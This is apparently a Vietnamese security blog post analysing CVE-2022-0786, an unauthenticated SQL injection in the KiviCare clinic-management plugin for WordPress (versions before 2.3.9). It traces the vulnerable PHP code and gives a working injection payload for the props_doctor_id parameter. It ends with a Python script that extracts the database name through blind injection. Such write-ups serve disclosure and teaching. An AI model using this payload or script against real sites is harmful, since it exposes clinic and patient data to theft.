[CVE-2022-0786] WordPress KiviCare < 2.3.9 Unauthenticated SQLi
![[CVE-2022-0786] WordPress KiviCare < 2.3.9 Unauthenticated SQLi](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1679237018713%2F6a335358-459d-4363-9808-bf7af6b3fb2c.png&w=3840&q=75)
Search for a command to run...
![[CVE-2022-0786] WordPress KiviCare < 2.3.9 Unauthenticated SQLi](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1679237018713%2F6a335358-459d-4363-9808-bf7af6b3fb2c.png&w=3840&q=75)
No comments yet. Be the first to comment.
I. Introduction Coolify is an open-source, self-hostable PaaS that lets you deploy apps, databases, and pre-baked services on your own servers — the "Vercel/Heroku/Netlify replacement, but you own the

I. Introduction Kestra is an open-source event-driven workflow orchestration platform written in Java on top of Micronaut. It lets teams declare "flows" — task graphs that move data, call APIs, run sc

Disclosure status: Reported to vendor and coordinated through a private fix path. I. Introduction Warp is an agentic development environment, born out of the terminal. Use Warp's built-in coding agent
![[CVE-2026-48731] AI-Assisted Discovery of Command Injection in Warp Terminal](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fuploads%2Fcovers%2F699fec8cc9015c37f6e5364f%2Fe7817cef-a8af-45ec-b931-4e08225edeb6.png&w=3840&q=75)
Author: Anhlt91, Thuanhn Date: May 2026Tags: AI Claude Bug Hunting Closed-Source Security Research Overview I used Claude AI to find real security vulnerabilities in a closed-source enterprise produc
I. Introduction Filament is an open-source full-stack UI framework for Laravel built on top of Livewire. It lets developers compose admin panels, forms, tables, infolists, actions, and notifications a

Night-Wolf Team
58 posts
FPT Cyber Security Assurance Service
KiviCare là một plugin quản lý phòng khám và bệnh nhân dành cho WordPress. Plugin này còn khá mới nên chưa phổ biến và lượng người dùng không nhiều (~1.000 lượt active).

Hôm 23/5/2022 vừa rồi một researcher đã tìm thấy lỗ hổng Unauthenticated SQLi trong plugin này với điểm CVSS đạt 8.3

Trang wpscan có nói rằng:
The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route
Vậy là lỗ hổng nằm ở get_doctor_details route, tìm trong source code của plugin:
'get_doctor_details' => [ 'method' => 'get', 'action' => 'KCBookAppointmentWidgetController@getDoctors' , 'nonce' => 0 ],
Route này sẽ invoke function getDoctors tại KCBookAppointmentWidgetController, function này đầu tiên sẽ kiểm tra parameter clinic_id:
public function getDoctors () {
$request_data = $this->request->getInputs();
...
$request_data['clinic_id'] = json_decode( stripslashes( sanitize_text_field($request_data['clinic_id'])), true);
if(isset($request_data['clinic_id']['id']) && !empty($request_data['clinic_id']['id']) ){
...
}
...
}
→ Parameter clinic_id không cần phải có giá trị hợp lệ nhưng phải ở dạng JSON và phải có key id ví dụ như:
clinic_id = {"id":"1"}
Sau khi clinic_id thỏa mãn điều kiện thì function này sẽ xử lý tiếp như sau:
if(isset($request_data['clinic_id']['id']) && !empty($request_data['clinic_id']['id']) ){
$request_data['clinic_id']['id'] = (int)$request_data['clinic_id']['id'];
$doctor_condition = ' ';
if(!empty($request_data['props_doctor_id']) && !in_array($request_data['props_doctor_id'],[0,'0'])){
if(strpos($request_data['props_doctor_id'], ',') !== false){
if(isKiviCareProActive()){
$doctor_condition = ' AND doctor_id IN ('.$request_data['props_doctor_id'].')';
}else{
$doctor_condition = ' WHERE ID IN ('.$request_data['props_doctor_id'].')';
}
}else{
if(isKiviCareProActive()){
$doctor_condition = ' AND doctor_id ='.(int)$request_data['props_doctor_id'];
}else{
$doctor_condition = ' WHERE ID ='.(int)$request_data['props_doctor_id'];
}
}
}
if(!empty($request_data['props_clinic_id']) && !in_array($request_data['props_clinic_id'],[0,'0'])){
$request_data['clinic_id']['id'] = (int)$request_data['props_clinic_id'];
}
if(isKiviCareProActive()){
$query = "SELECT `doctor_id` FROM {$table_name} WHERE `clinic_id` =".$request_data['clinic_id']['id'].$doctor_condition ;
}else{
$query = "SELECT `ID` FROM {$this->db->prefix}users {$doctor_condition}" ;
}
...
}
Do đã biết trước là SQLi nên mình tập trung vào các câu truy vấn:
if(isKiviCareProActive()){
$query = "SELECT `doctor_id` FROM {$table_name} WHERE `clinic_id` =".$request_data['clinic_id']['id'].$doctor_condition ;
}else{
$query = "SELECT `ID` FROM {$this->db->prefix}users {$doctor_condition}" ;
}
Điều kiện isKiviCareProActive() chắc chắn trả về false vì mình đang cài bản free 😬 Vì thế nên chỉ cần để ý câu truy vấn ở dưới, $doctor_condition có thể là Injection point.
Truy ngược lên trên, bỏ qua các nhánh if(isKiviCareProActive()), mình thấy $doctor_condition được gán giá trị bởi 1 trong 2 cách:
if(strpos($request_data['props_doctor_id'], ',') !== false){
$doctor_condition = ' WHERE ID IN ('.$request_data['props_doctor_id'].')';
}else{
$doctor_condition = ' WHERE ID ='.(int)$request_data['props_doctor_id'];
}
Cả 2 cách này đều dùng cộng string, tuy nhiên cách thứ 2 sử dụng ép kiểu int nên để khai thác được thì phải đi vào nhánh đúng của if. Để vào nhánh này thì cần thỏa mãn strpos($request_data['props_doctor_id'], ',') !== false, điều này có nghĩa là giá trị của props_doctor_id cần phải chứa dấu ,
Xử lý xong câu if này thì mình tiếp tục đi lên trên, câu if ở trên không có gì đặc biệt:
if(!empty($request_data['props_doctor_id']) && !in_array($request_data['props_doctor_id'],[0,'0']))
Đến giờ thì đã có đầy đủ thông tin để xây dựng payload:
Reproduce vulnerable endpoint: Dựa vào thông tin lỗ hổng nằm ở get_doctor_details route nên mình có thể reproduce vulnerable endpoint bằng cách gửi GET request đến /wp-admin/admin-ajax.php với action=ajax_get và route_name=get_doctor_details
Payload
Đầu tiên cần có clinic_id thỏa mãn điều kiện nêu ở trên như: clinic_id={”id”:”1”}
Sau đó props_doctor_id sẽ chứa payload thỏa mãn điều kiện duy nhất là có chứa dấu ,: props_doctor_id=1,2)+OR+1=1--+-
Lúc này câu truy vấn sẽ trở thành:
SELECT `ID` FROM users WHERE ID IN (1,2) OR 1=1 -- -)
Sample request/response (với điều kiện đúng):

Sample request/response (với điều kiện sai):

Exploit code:
import requests
db_name = ""
for i in range(1, 10):
for j in range(65, 113):
payload = f"1,2)+OR+SUBSTRING(database(),{i},1)=CHAR({j})--+-"
url = "http://localhost:80/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id={\"id\":\"1\",\"label\":\"SAS\"}&props_doctor_id="
r = requests.get(url + payload)
if "true" in r.text:
db_name += chr(j)
print(f"DB_NAME: {db_name}")
break
